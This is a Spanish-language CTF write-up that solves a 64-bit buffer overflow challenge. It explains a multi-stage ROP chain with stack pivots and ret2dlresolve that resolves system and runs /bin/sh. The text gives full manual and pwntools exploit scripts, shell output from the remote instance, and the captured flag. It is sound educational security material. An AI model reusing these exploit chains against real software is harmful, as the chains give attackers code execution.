BOF that's too ez
15 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall_patched
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
También tenemos la librería Glibc y el cargador. Estamos tratando con la versión 2.36:
$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.
Análisis del código fuente
Esta vez también tenemos el código fuente. Y, siendo honesto, no hay mucho que decir al respecto:
// gcc main.c -fno-stack-protector -fno-pic -no-pie -o chall
#include <stdio.h>
__attribute__( ( constructor ) ) void init() {
setvbuf( stdin, NULL, _IONBF, NULL );
setvbuf( stdout, NULL, _IONBF, NULL );
setvbuf( stderr, NULL, _IONBF, NULL );
}
int main( void ) {
char buf[0x10] = { 0 };
scanf( "%s", buf );
return 0;
}
Por lo tanto, tenemos una clara vulnerabilidad de Buffer Overflow porque el buffer data
tiene solo 16 bytes reservados, pero scanf("%s", data)
no verificará los límites y simplemente escribirá hasta que encuentre un carácter de salto de línea o un espacio en blanco.
Explotación
Entonces, Buffer Overflow. Fácil, ¿verdad? No del todo porque tenemos muchas limitaciones. Por ejemplo, nos gustaría usar Return-Oriented Programming (ROP) porque el NX no nos permite ejecutar shellcode en la pila. Sin embargo, tenemos solo unos pocos gadgets ROP utilizables:
$ ROPgadget --binary chall_patched
Gadgets information
============================================================
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401035 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004011ee : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004011ef : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401037 : add byte ptr [rax], al ; jmp 0x401020
0x00000000004011f0 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004011f1 : add cl, cl ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401045 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x00000000004010c8 : and byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x00000000004011b7 : call qword ptr [rax + 0xff3c35d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x0000000000401033 : cli ; push 0 ; jmp 0x401020
0x0000000000401043 : cli ; push 1 ; jmp 0x401020
0x00000000004010a3 : cli ; ret
0x00000000004011f7 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x0000000000401030 : endbr64 ; push 0 ; jmp 0x401020
0x0000000000401040 : endbr64 ; push 1 ; jmp 0x401020
0x00000000004010a0 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404020 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404020 ; jmp rax
0x0000000000401039 : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x000000000040103d : jmp qword ptr [rsi - 0x70]
0x00000000004010cc : jmp rax
0x00000000004011f2 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x00000000004011ed : mov eax, 0 ; leave ; ret
0x00000000004010c7 : mov edi, 0x404020 ; jmp rax
0x00000000004011b8 : nop ; pop rbp ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404020], edi ; jmp rax
0x0000000000401138 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040113d : pop rbp ; ret
0x0000000000401034 : push 0 ; jmp 0x401020
0x0000000000401044 : push 1 ; jmp 0x401020
0x000000000040101a : ret
0x0000000000401161 : retf
0x0000000000401022 : retf 0x2f
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x000000000040100b : shr dword ptr [rdi], 1 ; add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x00000000004011f9 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011f8 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404020 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404020 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 61
Gadgets ROP
Destacaré aquellos que pueden ser útiles:
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : jmp 0x401020
0x00000000004011f2 : leave ; ret
0x00000000004010c7 : mov edi, 0x404020 ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040101a : ret
¿Ver? No tenemos el clásico gadget pop rdi; ret
. Ni siquiera podemos controlar el contenido de $rdi
, ¡estamos obligados a usar 0x404020
!
También obsérvese que solo podemos establecer valores arbitrarios en $rbp
. Bueno, también podemos controlar $rsp
porque la instrucción leave
es equivalente a mov rsp, rbp; pop rbp
.
Por lo tanto, el primer gadget podría ser realmente útil si podemos controlar $rbx
, Porque obtendríamos una especie de primitiva write-what-where. Pero parece difícil controlar $rbx
.
Mirando al código ensamblador, encontré otras instrucciones que podrían ser realmente útiles:
00000000004011bb <main>:
4011bb: f3 0f 1e fa endbr64
...
4011d7: 48 8d 45 f0 lea rax,[rbp-0x10]
4011db: 48 89 c6 mov rsi,rax
4011de: bf 04 20 40 00 mov edi,0x402004
4011e3: b8 00 00 00 00 mov eax,0x0
4011e8: e8 73 fe ff ff call 401060 <_init+0x60>
4011ed: b8 00 00 00 00 mov eax,0x0
4011f2: c9 leave
4011f3: c3 ret
Con esta sección de main
, podemos controlar $rax
y, por lo tanto, $rsi
, antes de llamar a scanf
. Obsérvese que $rax = 0
después, por lo que no terminamos con control sobre $rax
. Además, después de depurar un poco el programa, parece que scanf
establece algún valor en $rsi
que tampoco podemos controlar, por lo que también es inútil.
¡Pero lo relevante es que podemos controlar dónde escribir con scanf
! Es decir, escribiremos en la dirección de $rbp + 0x10
. Pero cuidado, porque el leave; ret
causará un Stack Pivot!
La función init
también contiene instrucciones útiles:
0000000000401156 <init>:
401156: f3 0f 1e fa endbr64
...
40119a: 48 8b 05 9f 2e 00 00 mov rax,QWORD PTR [rip+0x2e9f] # 404040 <stderr@GLIBC_2.2.5>
4011a1: b9 00 00 00 00 mov ecx,0x0
4011a6: ba 02 00 00 00 mov edx,0x2
4011ab: be 00 00 00 00 mov esi,0x0
4011b0: 48 89 c7 mov rdi,rax
4011b3: e8 98 fe ff ff call 401050 <_init+0x50>
...
Esta parte corresponde a setvbuf(stderr, NULL, _IONBF, NULL)
. También podemos encontrar el equivalente con stdin
(0x404030
) y stdout
(0x404020
). Por lo tanto, también podemos elegir que $rdi
sea 0x404040
o 0x404030
.
Por último, pero no menos importante, estas secciones serán muy relevantes para el exploit que se me ocurrió:
0000000000401020 <.plt>:
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
401030: f3 0f 1e fa endbr64
401034: 68 00 00 00 00 push 0x0
401039: e9 e2 ff ff ff jmp 401020 <_init+0x20>
40103e: 66 90 xchg ax,ax
401040: f3 0f 1e fa endbr64
401044: 68 01 00 00 00 push 0x1
401049: e9 d2 ff ff ff jmp 401020 <_init+0x20>
40104e: 66 90 xchg ax,ax
Disassembly of section .plt.sec:
0000000000401050 <.plt.sec>:
401050: f3 0f 1e fa endbr64
401054: ff 25 a6 2f 00 00 jmp QWORD PTR [rip+0x2fa6] # 404000 <setvbuf@GLIBC_2.2.5>
40105a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
401060: f3 0f 1e fa endbr64
401064: ff 25 9e 2f 00 00 jmp QWORD PTR [rip+0x2f9e] # 404008 <__isoc99_scanf@GLIBC_2.7>
40106a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
Además, obsérvese que las únicas funciones que podemos usar son setvbuf
y scanf
. ¡No hay función que imprima información a stdout
! ¡Por lo tanto, debemos encontrar un exploit sin fugas de memoria!
ret2dlresolve
Siempre que no hay muchos gadgets útiles y no vemos una forma de fugar direcciones de memoria para evitar ASLR, podemos confiar en ret2dlresolve.
Esta técnica abusa de la manera en la que los programas vinculados dinámicamente resuelven direcciones de funciones externas en tiempo de ejecución. Con esta técnica, podemos decirle al programa que resuelva la dirección del system
, por lo que no tenemos que preocuparnos por el ASLR.
No hay muchos recursos que expliquen este ataque en profundidad, especialmente para la arquitectura x86_64. Pondré algunos de ellos aquí:
- ret2dl_resolve x64: Exploiting Dynamic Linking Procedure In x64 ELF Binaries
- ROP之return to dl-resolve (in Chinese)
- Boosting your ROP skills with SROP and ret2dlresolve - Giulia Martino - HackTricks Track 2023
- Temple Of Pwn 12 - Ret2DlResolve
En resumen, necesitamos falsificar algunas estructuras y crear offsets e índices para que el rutina _dl_runtime_resolve
sea capaz de encontrar el nombre de la función, resolver la función esperada en Glibc y escribir su dirección real donde queremos.
Fuente: https://syst3mfailure.io/ret2dl_resolve/
La imagen de arriba muestra perfectamente el proceso de llamar a una función externa, en el ejemplo anterior, read
:
- La función
main
llamaread
en la sección .plt - La sección .plt salta directamente a la sección .got.plt
- Si la función no está resuelta aún, la sección .got.plt contiene una dirección a la sección .plt
- El programa sube el número
reloc_arg
a la pila y salta al stub por defecto de la .plt - Este stub sube la dirección de
link_map
a la pila y llama a_dl_runtime_resolve
En este proceso, podemos jugar con el número reloc_arg
, porque se pasa a _dl_runtime_resolve
en la pila. Tendremos que aprender cómo funcionan para crear un exploit exitoso con ret2dlresolve.
Hay tres secciones relevantes utilizadas por el linker a las direcciones de resolución:
JMPREL
(.rela.plt) es una tabla de estructurasElf64_Rel
(tamaño0x18
). Cada estructura contiener_offset
,r_info
y relleno. Ambos atributos son relevantes, porquer_offset
contiene la dirección donde se escribirá la dirección resuelta yr_info
se utilizará para ubicar la estructuraElf64_sym
correspondiente enDYNSYM
.DYNSYM
(.dynsym) contiene una tabla de estructurasElf64_Sym
(tamaño0x18
). El campo relevante de esta estructura esst_name
, que contiene el índice del nombre del símbolo enSTRTAB
.STRTAB
(.dynstr) es solo una lista de nombres de símbolos todos juntos, separados por un byte nulo.
Implementación
Saltemos directamente al código del exploit de ret2dlresolve:
align = lambda alignment, addr: addr + (- addr % alignment)
JMPREL = 0x4005e0 # .rela.plt section
SYMTAB = 0x3fe450 # .symtab section
STRTAB = 0x3fe510 # .strtab section
dlresolve_payload_addr = 0x404e00
symbol_name = b'system\0'
fake_strtab = dlresolve_payload_addr
fake_symtab = dlresolve_payload_addr + 0x10
fake_jmprel = dlresolve_payload_addr + 0x10 + 0x18
st_name = fake_strtab - STRTAB
st_value = 0
st_size = 0
st_info = 0
st_other = 0
st_shndx = 0
elf64_sym = p32(st_name) + p8(st_value) + p8(st_size) + p16(st_info) + p64(st_other) + p64(st_shndx)
index = align(0x18, fake_symtab - SYMTAB) // 0x18
r_offset = setvbuf_got_addr
r_info = (index << 32) | 7
elf64_rel = p64(r_offset) + p64(r_info) + p64(0)
reloc_arg = align(0x18, fake_jmprel - JMPREL) // 0x18
dlresolve_payload = symbol_name.ljust(0x10, b'\0')
dlresolve_payload += elf64_sym
dlresolve_payload += elf64_rel
En primer lugar, defino la función align
para ajustar las estructuras con una alineación de 0x18
bytes. Luego defino las secciones relevantes de acuerdo con el binario:
$ readelf --sections chall_patched | egrep "Name|.rela.plt|.dynsym|.dynstr"
[Nr] Name Type Address Offset
[ 6] .dynsym DYNSYM 00000000003fe450 00000450
[ 7] .dynstr STRTAB 00000000003fe510 00000510
[12] .rela.plt RELA 00000000004005e0 000025e0
Después de eso, elijo la dirección donde almacenaré el payload y el símbolo que quiero resolver:
dlresolve_payload_addr = 0x404e00
symbol_name = b'system\0'
Con esto, puedo comenzar a elaborar estructuras falsas. Pero vamos al final por un segundo:
dlresolve_payload = symbol_name.ljust(0x10, b'\0')
dlresolve_payload += elf64_sym
dlresolve_payload += elf64_rel
En resumen, dlresolve_payload
es simplemente un STRTAB
falso, un DYNSYM
falso y un JMPREL
falso. Este payload se ubicará en dlresolve_payload_addr = 0x404e00
(en la sección .bss, que es escribible):
fake_strtab = dlresolve_payload_addr
fake_symtab = dlresolve_payload_addr + 0x10
fake_jmprel = dlresolve_payload_addr + 0x10 + 0x18
Ahora, necesitamos encontrar un valor para reloc_arg
y los atributos de las estructuras falsas.
En primer lugar, la sección SYMTAB
falsa, que contiene una estructura Elf64_Sym
:
st_name = fake_strtab - STRTAB
st_value = 0
st_size = 0
st_info = 0
st_other = 0
st_shndx = 0
elf64_sym = p32(st_name) + p8(st_value) + p8(st_size) + p16(st_info) + p64(st_other) + p64(st_shndx)
Hay un índice calculado a partir de esta dirección, como una distancia entre las secciones SYMTAB
legítimas y falsas:
index = align(0x18, fake_symtab - SYMTAB) // 0x18
Este índice estará presente en el atributo r_info
de la estructura Elf64_Rel
falsa, en la sección JMPREL
falsa:
r_offset = setvbuf_got_addr
r_info = (index << 32) | 7
elf64_rel = p64(r_offset) + p64(r_info) + p64(0)
Finalmente, el número reloc_arg
se calcula como una distancia entre las secciones JMPREL
legítimas y falsas:
reloc_arg = align(0x18, fake_jmprel - JMPREL) // 0x18
¿Notaste que r_offset
está configurado en la dirección de setVbuf
en la GOT? Sí, queremos que se escriba ahí la dirección de system
. Si es así, podemos llamar a la dirección que vimos anteriormente en la función init
, para controlar $rdi
con alguna dirección de 0x404020
, 0x404030
o 0x404040
. Por lo tanto, tendremos que escribir "/bin/sh\0"
aquí.
Escribo aquí algunas direcciones de gadgets ROP y otras direcciones requeridas para el exploit:
pop_rbp_ret_addr = 0x40113d
leave_ret_addr = 0x4011f2
jmp_plt_addr = 0x401039
setvbuf_got_addr = 0x404000
stderr_got_addr = 0x404040
bin_sh_addr = 0x404048
call_setvbuf_addr = 0x40119a
No sé cómo explicar esto mejor que mostrando el código:
io = get_process()
stage1 = p64(pop_rbp_ret_addr)
stage1 += p64(stderr_got_addr + 0x10)
stage1 += p64(context.binary.sym.main + 28)
io.sendline(b'A' * 24 + stage1)
En esta etapa, establecemos el valor de $rbp
con la dirección de stderr
(0x404040
) más 0x10
. Hacemos esto porque $rax
tendrá el valor de $rbp - 0x10
, ejecutado en *main+27
(lea rax, [rbp-0x10]
). Por lo tanto, ejecutaremos scanf
en la dirección de stderr
(0x404040
).
stage2 = p64(pop_rbp_ret_addr)
stage2 += p64(dlresolve_payload_addr - 0x80 + 0x10)
stage2 += p64(leave_ret_addr)
stage2 += b'\0' * 0xd20
stage2 += p64(dlresolve_payload_addr - 0x80 + 0x10)
stage2 += p64(context.binary.sym.main + 28)
io.sendline(p64(bin_sh_addr) + b'/bin/sh\0' + b'\0' * 8 + stage2)
En primer lugar, aprovecharemos los bytes de relleno para explotar el Buffer Overflow, para insertar aquí la string "/bin/sh\0"
y su dirección (antes de la string). Necesitamos esto para el final, porque setvbuf
se llamará con la dirección apuntada por stderr
(es decir, no es 0x404040
, sino 0x404048
en este momento).
La segunda etapa se ejecutará desde aquí porque al final de main
hay un leave; ret
, por lo que estamos realizando un Stack Pivot. Esto significa que $rsp
ahora apunta a la .bss, específicamente, a 0x404058
. Ahora hacemos el mismo truco de configurar $rbp
para poder escribir en una dirección deseada con scanf
.
Comenzaremos a escribir envima de dlresolve_payload_addr
porque necesitamos que la pila esté segura al hacer las tareas de ret2dlresolve. Estamos haciendo otro leave; ret
para establecer $rsp
al valor actual de $rbp
(que está 0x70
bytes por encima de dlresolve_payload_addr
). Esta es la razón del relleno de 0xd20
bytes:
$ python3 -q
>>> hex((0x404e00 - 0x80 + 0x10) - (0x404040 + 0x30))
'0xd20'
Después del relleno, entramos nuevamente en la dirección de dlresolve_payload_addr - 0x80 + 0x10
(para configurar $rbp
con el gadget leave; ret
) y luego la dirección de main
para llamar a scanf
controlando $rax
y $rsi
. El flujo del programa saltará aquí nuevamente, por lo que podremos escribir en esta dirección en nuestra tercera etapa:
stage3 = p64(jmp_plt_addr)
stage3 += p64(reloc_arg)
stage3 += p64(call_setvbuf_addr)
stage3 += b'\0' * 0x50
stage3 += dlresolve_payload
io.sendline(b'A' * 24 + stage3)
Esta última etapa escribirá 0x18
bytes de relleno para el Buffer Overflow y luego la dirección de una instrucción jmp 0x401020
. No podemos usar 0x401020
directamente porque 0x20
es un espacio en hexadecimal, y scanf
dejaría de leer. Luego, subimos el número reloc_arg
a la pila para el exploit de ret2dlresolve. Después de eso, ponemos la dirección para hacer que $rdi = 0x404040
y llamar a setvbuf
(esto sucederá después del proceso de resolución).
Finalmente, agregamos un poco más de relleno para encajar en 0x80
bytes (0x18 + 0x18 + 0x50
) y escribimos dlresolve_payload
.
Con todo esto, obtendremos una shell, tanto en local como en el contenedor de Docker local:
$ python3 solve_manual.py
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './chall_patched': pid 3272010
[*] Switching to interactive mode
$ whoami
rocky
Usando pwntools
Si te diste cuenta, el script se llama solve_manual.py
. Eso es porque escribí otro exploit llamado solve_pwntools.py
que abstrae todas las cosas de ret2dlresolve. Aquí lo tienes:
pop_rbp_ret_addr = 0x40113d
leave_ret_addr = 0x4011f2
bin_sh_addr = 0x404048
jmp_plt_addr = 0x401039
call_setvbuf_addr = 0x40119a
dlresolve = Ret2dlresolvePayload(
context.binary,
symbol='system',
args=[],
resolution_addr=context.binary.got.setvbuf,
)
io = get_process()
stage1 = p64(pop_rbp_ret_addr)
stage1 += p64(context.binary.got.stderr + 0x10)
stage1 += p64(context.binary.sym.main + 28)
io.sendline(b'A' * 24 + stage1)
stage2 = p64(pop_rbp_ret_addr)
stage2 += p64(dlresolve.data_addr - 0x80 + 0x10)
stage2 += p64(leave_ret_addr)
stage2 += b'\0' * 0xd20
stage2 += p64(dlresolve.data_addr - 0x80 + 0x10)
stage2 += p64(context.binary.sym.main + 28)
io.sendline(p64(bin_sh_addr) + b'/bin/sh\0' + b'\0' * 8 + stage2)
stage3 = p64(jmp_plt_addr)
stage3 += p64(dlresolve.reloc_index)
stage3 += p64(call_setvbuf_addr)
stage3 += b'\0' * 0x50
stage3 += dlresolve.payload
io.sendline(b'A' * 24 + stage3)
io.interactive()
Obviamente, no es tan emocionante como solve_manual.py
, pero sí se ve más amigable.
Flag
Con cualquiera de los exploits, podemos obtener una shell en la instancia remota y capturar la flag:
$ python3 solve_manual.py 0.cloud.chals.io 26418
[*] './chall_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to 0.cloud.chals.io on port 26418: Done
[*] Switching to interactive mode
$ cat /flag*
HackOn{th4t_w4s_4_fr33_BOF_4_y0u_6c6415857decc41b8d9366be69ab68cc}
Los exploits completos se pueden encontrar aquí: solve_manual.py
y solve_pwntools.py
.